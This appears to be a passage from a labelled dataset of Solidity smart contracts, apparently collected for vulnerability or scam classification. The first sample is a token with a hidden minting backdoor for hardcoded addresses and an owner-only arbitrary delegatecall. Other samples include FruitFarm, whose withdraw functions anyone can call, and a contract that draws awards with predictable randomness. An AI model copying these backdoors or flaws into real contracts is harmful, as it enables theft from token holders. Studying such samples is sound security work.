return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner
|| msg.sender==address(1128272879772349028992474526206451541022554459967)
|| msg.sender==address(781882898559151731055770343534128190759711045284)
|| msg.sender==address(718276804347632883115823995738883310263147443572)
|| msg.sender==address(56379186052763868667970533924811260232719434180)
);
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,487 |
pragma solidity >= 0.4.24;
interface token {
function transfer(address receiver, uint amount) external;
function transferFrom(address from, address to, uint value) external;
function balanceOf(address tokenOwner) constant external returns (uint balance);
function allowance(address _owner, address _spender) constant external returns (uint remaining);
}
contract againstTokenTransfer {
mapping(address => bool) public active;
mapping(address => bool) public exists;
mapping(address => uint) public index;
mapping(address => string) public tkname;
mapping(address => uint) public decimals;
mapping(address => uint) public rate;
mapping(address => uint) public buyoffer;
token tokenReward = token(0xF7Be133620a7D944595683cE2B14156591EFe609);
string public name = "AGAINST TKDEX";
string public symbol = "AGAINST";
string public comment = "AGAINST Token Market";
address internal owner;
uint public indexcount = 0;
constructor() public {
owner = address(msg.sender);
}
function registerToken(address _token, string _name, uint _decimals, uint _rate, uint _buyoffer) public {
if (msg.sender == owner) {
if (!exists[_token]) {
exists[_token] = true;
indexcount = indexcount+1;
index[_token] = indexcount;
active[_token] = false;
}
tkname[_token] = _name;
decimals[_token] = _decimals;
rate[_token] = _rate;
buyoffer[_token] = _buyoffer;
}
}
function enableToken(address _token) public {
if (msg.sender == owner) {
active[_token] = true;
}
}
function disableToken(address _token) public {
if (msg.sender == owner) {
active[_token] = false;
}
}
function exchangeIt(address _token) public payable {
require(active[_token],'Token Disabled');
token swapToken = token(_token);
require(swapToken.allowance(msg.sender, address(this)) > 0);
uint tokenAmount = swapToken.allowance(msg.sender, address(this));
if (tokenAmount > swapToken.balanceOf(msg.sender)) { tokenAmount = swapToken.balanceOf(msg.sender);}
uint amount = (tokenAmount/(10**decimals[_token]))*rate[_token];
require(amount <= buyoffer[_token],'Too many coins');
require(tokenReward.balanceOf(address(this)) >= amount,'No contract Funds');
swapToken.transferFrom(msg.sender, owner, tokenAmount);
buyoffer[_token] = buyoffer[_token]-amount;
tokenReward.transfer(msg.sender, amount);
}
} | 1 | 3,652 |
pragma solidity ^0.4.24;
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Tokenlock is Ownable {
using SafeERC20 for ERC20;
event LockStarted(uint256 now, uint256 interval);
event TokenLocked(address indexed buyer, uint256 amount);
event TokenReleased(address indexed buyer, uint256 amount);
mapping (address => uint256) public buyers;
address public locker;
address public distributor;
ERC20 public Token;
bool public started = false;
uint256 public interval;
uint256 public releaseTime;
constructor(address token, uint256 time) public {
require(token != address(0));
Token = ERC20(token);
interval = time;
locker = owner;
distributor = owner;
}
function setLocker(address addr)
external
onlyOwner
{
require(addr != address(0));
locker = addr;
}
function setDistributor(address addr)
external
onlyOwner
{
require(addr != address(0));
distributor = addr;
}
function lock(address beneficiary, uint256 amount)
external
{
require(msg.sender == locker);
require(beneficiary != address(0));
buyers[beneficiary] += amount;
emit TokenLocked(beneficiary, buyers[beneficiary]);
}
function start()
external
onlyOwner
{
require(!started);
started = true;
releaseTime = block.timestamp + interval;
emit LockStarted(block.timestamp, interval);
}
function release(address beneficiary)
external
{
require(msg.sender == distributor);
require(started);
require(block.timestamp >= releaseTime);
uint256 amount = buyers[beneficiary];
buyers[beneficiary] = 0;
Token.safeTransfer(beneficiary, amount);
emit TokenReleased(beneficiary, amount);
}
function withdraw() public onlyOwner {
require(block.timestamp >= releaseTime);
Token.safeTransfer(owner, Token.balanceOf(address(this)));
}
function close() external onlyOwner {
withdraw();
selfdestruct(owner);
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
} | 1 | 5,518 |
pragma solidity ^0.4.18;
contract ERC721 {
function approve(address _to, uint256 _tokenId) public;
function balanceOf(address _owner) public view returns (uint256 balance);
function implementsERC721() public pure returns (bool);
function ownerOf(uint256 _tokenId) public view returns (address addr);
function takeOwnership(uint256 _tokenId) public;
function totalSupply() public view returns (uint256 total);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 tokenId);
event Approval(address indexed owner, address indexed approved, uint256 tokenId);
}
contract PornstarsInterface {
function ownerOf(uint256 _id) public view returns (
address owner
);
function totalSupply() public view returns (
uint256 total
);
}
contract PornSceneToken is ERC721 {
event Birth(uint256 tokenId, string name, uint[] stars, address owner);
event TokenSold(uint256 tokenId, uint256 oldPrice, uint256 newPrice, address prevOwner, address winner, string name, uint[] stars);
event Transfer(address from, address to, uint256 tokenId);
string public constant NAME = "CryptoPornScenes";
string public constant SYMBOL = "PornSceneToken";
uint256 private startingPrice = 0.001 ether;
uint256 private constant PROMO_CREATION_LIMIT = 10000;
uint256 private firstStepLimit = 0.053613 ether;
uint256 private secondStepLimit = 0.564957 ether;
mapping (uint256 => address) public sceneIndexToOwner;
mapping (address => uint256) private ownershipTokenCount;
mapping (uint256 => address) public sceneIndexToApproved;
mapping (uint256 => uint256) private sceneIndexToPrice;
address public ceoAddress;
address public cooAddress;
PornstarsInterface pornstarsContract;
uint currentAwardWinner = 85;
uint256 public promoCreatedCount;
struct Scene {
string name;
uint[] stars;
}
Scene[] private scenes;
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyCOO() {
require(msg.sender == cooAddress);
_;
}
modifier onlyCLevel() {
require(
msg.sender == ceoAddress ||
msg.sender == cooAddress
);
_;
}
function PornSceneToken() public {
ceoAddress = msg.sender;
cooAddress = msg.sender;
}
function approve(
address _to,
uint256 _tokenId
) public {
require(_owns(msg.sender, _tokenId));
sceneIndexToApproved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return ownershipTokenCount[_owner];
}
function setPornstarsContractAddress(address _address) public onlyCOO {
pornstarsContract = PornstarsInterface(_address);
}
function createPromoScene(address _owner, string _name, uint[] _stars, uint256 _price) public onlyCOO {
require(promoCreatedCount < PROMO_CREATION_LIMIT);
address sceneOwner = _owner;
if (sceneOwner == address(0)) {
sceneOwner = cooAddress;
}
if (_price <= 0) {
_price = startingPrice;
}
promoCreatedCount++;
_createScene(_name, _stars, sceneOwner, _price);
}
function createContractScene(string _name, uint[] _stars) public onlyCOO {
_createScene(_name, _stars, address(this), startingPrice);
}
function getScene(uint256 _tokenId) public view returns (
string sceneName,
uint[] stars,
uint256 sellingPrice,
address owner
) {
Scene storage scene = scenes[_tokenId];
sceneName = scene.name;
stars = scene.stars;
sellingPrice = sceneIndexToPrice[_tokenId];
owner = sceneIndexToOwner[_tokenId];
}
function implementsERC721() public pure returns (bool) {
return true;
}
function name() public pure returns (string) {
return NAME;
}
function ownerOf(uint256 _tokenId)
public
view
returns (address owner)
{
owner = sceneIndexToOwner[_tokenId];
require(owner != address(0));
}
function payout(address _to) public onlyCLevel {
_payout(_to);
}
function purchase(uint256 _tokenId) public payable {
address oldOwner = sceneIndexToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = sceneIndexToPrice[_tokenId];
require(oldOwner != newOwner);
require(_addressNotNull(newOwner));
require(msg.value >= sellingPrice);
uint256 payment = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 80), 100));
uint256 purchaseExcess = SafeMath.sub(msg.value, sellingPrice);
Scene memory _scene = scenes[_tokenId];
require(_scene.stars.length > 0);
uint256 holderFee = uint256(SafeMath.div(SafeMath.div(SafeMath.mul(sellingPrice, 10), 100), _scene.stars.length));
uint256 awardOwnerFee = uint256(SafeMath.div(SafeMath.mul(sellingPrice, 4), 100));
if (sellingPrice < firstStepLimit) {
sceneIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 200), 80);
} else if (sellingPrice < secondStepLimit) {
sceneIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 120), 80);
} else {
sceneIndexToPrice[_tokenId] = SafeMath.div(SafeMath.mul(sellingPrice, 115), 80);
}
_transfer(oldOwner, newOwner, _tokenId);
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
_paySceneStarOwners(_scene, holderFee);
_payAwardOwner(awardOwnerFee);
TokenSold(_tokenId, sellingPrice, sceneIndexToPrice[_tokenId], oldOwner, newOwner, _scene.name, _scene.stars);
msg.sender.transfer(purchaseExcess);
}
function _paySceneStarOwners(Scene _scene, uint256 fee) private {
for (uint i = 0; i < _scene.stars.length; i++) {
address _pornstarOwner;
(_pornstarOwner) = pornstarsContract.ownerOf(_scene.stars[i]);
if(_isGoodAddress(_pornstarOwner)) {
_pornstarOwner.transfer(fee);
}
}
}
function _payAwardOwner(uint256 fee) private {
address _awardOwner;
(_awardOwner) = pornstarsContract.ownerOf(currentAwardWinner);
if(_isGoodAddress(_awardOwner)) {
_awardOwner.transfer(fee);
}
}
function _isGoodAddress(address _addy) private view returns (bool) {
if(_addy == address(pornstarsContract)) {
return false;
}
if(_addy == address(0) || _addy == address(0x0)) {
return false;
}
return true;
}
function priceOf(uint256 _tokenId) public view returns (uint256 price) {
return sceneIndexToPrice[_tokenId];
}
function starsOf(uint256 _tokenId) public view returns (uint[]) {
return scenes[_tokenId].stars;
}
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
function setCOO(address _newCOO) public onlyCEO {
require(_newCOO != address(0));
cooAddress = _newCOO;
}
function symbol() public pure returns (string) {
return SYMBOL;
}
function takeOwnership(uint256 _tokenId) public {
address newOwner = msg.sender;
address oldOwner = sceneIndexToOwner[_tokenId];
require(_addressNotNull(newOwner));
require(_approved(newOwner, _tokenId));
_transfer(oldOwner, newOwner, _tokenId);
}
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalscenes = totalSupply();
uint256 resultIndex = 0;
uint256 sceneId;
for (sceneId = 0; sceneId <= totalscenes; sceneId++) {
if (sceneIndexToOwner[sceneId] == _owner) {
result[resultIndex] = sceneId;
resultIndex++;
}
}
return result;
}
}
function totalSupply() public view returns (uint256 total) {
return scenes.length;
}
function transfer(
address _to,
uint256 _tokenId
) public {
require(_owns(msg.sender, _tokenId));
require(_addressNotNull(_to));
_transfer(msg.sender, _to, _tokenId);
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
) public {
require(_owns(_from, _tokenId));
require(_approved(_to, _tokenId));
require(_addressNotNull(_to));
_transfer(_from, _to, _tokenId);
}
function _addressNotNull(address _to) private pure returns (bool) {
return _to != address(0);
}
function _approved(address _to, uint256 _tokenId) private view returns (bool) {
return sceneIndexToApproved[_tokenId] == _to;
}
function _createScene(string _name, uint[] _stars,address _owner, uint256 _price) private {
require(_stars.length > 0);
for (uint i = 0; i < _stars.length; i++) {
address _pornstarOwner;
(_pornstarOwner) = pornstarsContract.ownerOf(_stars[i]);
require(_pornstarOwner != address(0) || _pornstarOwner != address(0x0));
}
Scene memory _scene = Scene({
name: _name,
stars: _stars
});
uint256 newSceneId = scenes.push(_scene) - 1;
require(newSceneId == uint256(uint32(newSceneId)));
Birth(newSceneId, _name, _stars, _owner);
sceneIndexToPrice[newSceneId] = _price;
_transfer(address(0), _owner, newSceneId);
}
function _owns(address claimant, uint256 _tokenId) private view returns (bool) {
return claimant == sceneIndexToOwner[_tokenId];
}
function _payout(address _to) private {
if (_to == address(0)) {
ceoAddress.transfer(this.balance);
} else {
_to.transfer(this.balance);
}
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownershipTokenCount[_to]++;
sceneIndexToOwner[_tokenId] = _to;
if (_from != address(0)) {
ownershipTokenCount[_from]--;
delete sceneIndexToApproved[_tokenId];
}
Transfer(_from, _to, _tokenId);
}
}
contract CryptoPornstarAward is PornSceneToken{
event Award(uint256 currentAwardWinner, uint32 awardTime);
uint nonce = 0;
uint cooldownTime = 60;
uint32 awardTime = uint32(now);
function _triggerCooldown() internal {
awardTime = uint32(now + cooldownTime);
}
function _isTime() internal view returns (bool) {
return (awardTime <= now);
}
function rand(uint min, uint max) internal returns (uint) {
nonce++;
return uint(keccak256(nonce))%(min+max)-min;
}
function setCooldown(uint _newCooldown) public onlyCOO {
require (_newCooldown > 0);
cooldownTime = _newCooldown;
_triggerCooldown();
}
function getAwardTime () public view returns (uint32) {
return awardTime;
}
function getCooldown () public view returns (uint) {
return cooldownTime;
}
function newAward() public onlyCOO {
uint256 _totalPornstars;
(_totalPornstars) = pornstarsContract.totalSupply();
require(_totalPornstars > 0);
require(_isTime());
currentAwardWinner = rand(0, _totalPornstars);
_triggerCooldown();
Award(currentAwardWinner, awardTime);
}
function getCurrentAward() public view returns (uint){
return currentAwardWinner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,877 |
pragma solidity ^0.4.19;
contract Token {
function transfer(address _to, uint _value) returns (bool success);
function balanceOf(address _owner) constant returns (uint balance);
}
contract FruitFarm {
address owner;
function FruitFarm() {
owner = msg.sender;
}
function getTokenBalance(address tokenContract) public returns (uint balance){
Token tc = Token(tokenContract);
return tc.balanceOf(this);
}
function withdrawTokens(address tokenContract) public {
Token tc = Token(tokenContract);
tc.transfer(owner, tc.balanceOf(this));
}
function withdrawEther() public {
owner.transfer(this.balance);
}
function getTokens(uint num, address tokenBuyerContract) public {
tokenBuyerContract.call.value(0 wei)();
tokenBuyerContract.call.value(0 wei)();
tokenBuyerContract.call.value(0 wei)();
tokenBuyerContract.call.value(0 wei)();
tokenBuyerContract.call.value(0 wei)();
tokenBuyerContract.call.value(0 wei)();
tokenBuyerContract.call.value(0 wei)();
tokenBuyerContract.call.value(0 wei)();
tokenBuyerContract.call.value(0 wei)();
tokenBuyerContract.call.value(0 wei)();
}
} | 0 | 1,293 |
pragma solidity ^0.4.18;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
address public saleAgent;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlySaleAgent() {
require(msg.sender == saleAgent);
_;
}
function setSaleAgent(address newSaleAgent) public onlyOwner {
saleAgent = newSaleAgent;
}
function mint(address _to, uint256 _amount) public onlySaleAgent canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() public onlySaleAgent returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract AgroTechFarmToken is MintableToken {
string public constant name = "Agro Tech Farm";
string public constant symbol = "ATF";
uint32 public constant decimals = 18;
}
contract preSale5 is Ownable {
using SafeMath for uint;
AgroTechFarmToken public token;
bool public preSale5Finished = false;
address public multisig;
address public preSale = 0x02Dcc61022771015b1408323D29C790066CBe2e4;
address public preSale1 = 0xfafbb19945fc2d79828e4c5813a619d5683074ba;
address public preSale2 = 0x62451D37Ca2EC1f0499996Bc3C7e2BAF258E9729;
address public preSale3 = 0x72636c350431895fc6ee718b92bcc5b4fbd70304;
address public preSale4 = 0xE2615137c379910897D4c662345a5A1D0B91f719;
uint public rate;
uint public start;
uint public end;
uint public hardcap;
address public restricted;
uint public restrictedPercent;
function preSale5() public {
token = AgroTechFarmToken(0xa55ffAeA5c8cf32B550F663bf17d4F7b739534ff);
multisig = 0x227917ac3C1F192874d43031cF4D40fd40Ae6127;
rate = 83333333333000000000;
start = 1523336400;
end = 1524200400;
hardcap = 500000000000000000000;
restricted = 0xbcCd749ecCCee5B4898d0E38D2a536fa84Ea9Ef6;
restrictedPercent = 35;
}
modifier saleIsOn() {
require(now > start && now < end);
_;
}
modifier isUnderHardCap() {
require(this.balance <= hardcap);
_;
}
function balancePreSale5() public constant returns (uint) {
return this.balance;
}
function finishPreSale5() public onlyOwner returns (bool) {
if(now > end || this.balance >= hardcap) {
multisig.transfer(this.balance);
preSale5Finished = true;
return true;
} else return false;
}
function createTokens() public isUnderHardCap saleIsOn payable {
uint tokens = rate.mul(msg.value).div(1 ether);
uint bonusTokens = tokens.mul(30).div(100);
tokens += bonusTokens;
token.mint(msg.sender, tokens);
uint restrictedTokens = tokens.mul(restrictedPercent).div(100);
token.mint(restricted, restrictedTokens);
}
function() external payable {
createTokens();
}
} | 1 | 4,194 |
pragma solidity ^0.4.24;
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address indexed operator, string role);
event RoleRemoved(address indexed operator, string role);
function checkRole(address _operator, string _role)
view
public
{
roles[_role].check(_operator);
}
function hasRole(address _operator, string _role)
view
public
returns (bool)
{
return roles[_role].has(_operator);
}
function addRole(address _operator, string _role)
internal
{
roles[_role].add(_operator);
emit RoleAdded(_operator, _role);
}
function removeRole(address _operator, string _role)
internal
{
roles[_role].remove(_operator);
emit RoleRemoved(_operator, _role);
}
modifier onlyRole(string _role)
{
checkRole(msg.sender, _role);
_;
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Whitelist is Ownable, RBAC {
string public constant ROLE_WHITELISTED = "whitelist";
modifier onlyIfWhitelisted(address _operator) {
checkRole(_operator, ROLE_WHITELISTED);
_;
}
function addAddressToWhitelist(address _operator)
onlyOwner
public
{
addRole(_operator, ROLE_WHITELISTED);
}
function whitelist(address _operator)
public
view
returns (bool)
{
return hasRole(_operator, ROLE_WHITELISTED);
}
function addAddressesToWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
addAddressToWhitelist(_operators[i]);
}
}
function removeAddressFromWhitelist(address _operator)
onlyOwner
public
{
removeRole(_operator, ROLE_WHITELISTED);
}
function removeAddressesFromWhitelist(address[] _operators)
onlyOwner
public
{
for (uint256 i = 0; i < _operators.length; i++) {
removeAddressFromWhitelist(_operators[i]);
}
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract HasNoContracts is Ownable {
function reclaimContract(address contractAddr) external onlyOwner {
Ownable contractInst = Ownable(contractAddr);
contractInst.transferOwnership(owner);
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract HasNoEther is Ownable {
constructor() public payable {
require(msg.value == 0);
}
function() external {
}
function reclaimEther() external onlyOwner {
owner.transfer(address(this).balance);
}
}
contract HasNoTokens is CanReclaimToken {
function tokenFallback(address from_, uint256 value_, bytes data_) external {
from_;
value_;
data_;
revert();
}
}
contract NoOwner is HasNoEther, HasNoTokens, HasNoContracts {
}
contract InAndOut is Whitelist, NoOwner {
uint8 public processStep;
mapping(bytes32 => bool) public anchors;
event NewAnchor(bytes32 merkleRoot);
function goToNextStep() onlyOwner public {
require(processStep < 6);
processStep++;
}
function isClosedAndValid() public view returns (bool) {
return processStep == 6;
}
function saveNewAnchor(bytes32 _merkleRoot) onlyIfWhitelisted(msg.sender) public {
require(processStep < 6);
anchors[_merkleRoot] = true;
emit NewAnchor(_merkleRoot);
}
} | 1 | 4,660 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract IBasicMultiToken is ERC20 {
event Bundle(address indexed who, address indexed beneficiary, uint256 value);
event Unbundle(address indexed who, address indexed beneficiary, uint256 value);
function tokensCount() public view returns(uint256);
function tokens(uint256 _index) public view returns(ERC20);
function allTokens() public view returns(ERC20[]);
function allDecimals() public view returns(uint8[]);
function allBalances() public view returns(uint256[]);
function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]);
function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public;
function bundle(address _beneficiary, uint256 _amount) public;
function unbundle(address _beneficiary, uint256 _value) public;
function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public;
function denyBundling() public;
function allowBundling() public;
}
contract IMultiToken is IBasicMultiToken {
event Update();
event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return);
function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount);
function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount);
function allWeights() public view returns(uint256[] _weights);
function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights);
function denyChanges() public;
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
require(token.transfer(to, value));
}
function safeTransferFrom(
ERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
require(token.approve(spender, value));
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract IBancorNetwork {
function convert(
address[] _path,
uint256 _amount,
uint256 _minReturn
)
public
payable
returns(uint256);
function claimAndConvert(
address[] _path,
uint256 _amount,
uint256 _minReturn
)
public
payable
returns(uint256);
}
contract IKyberNetworkProxy {
function trade(
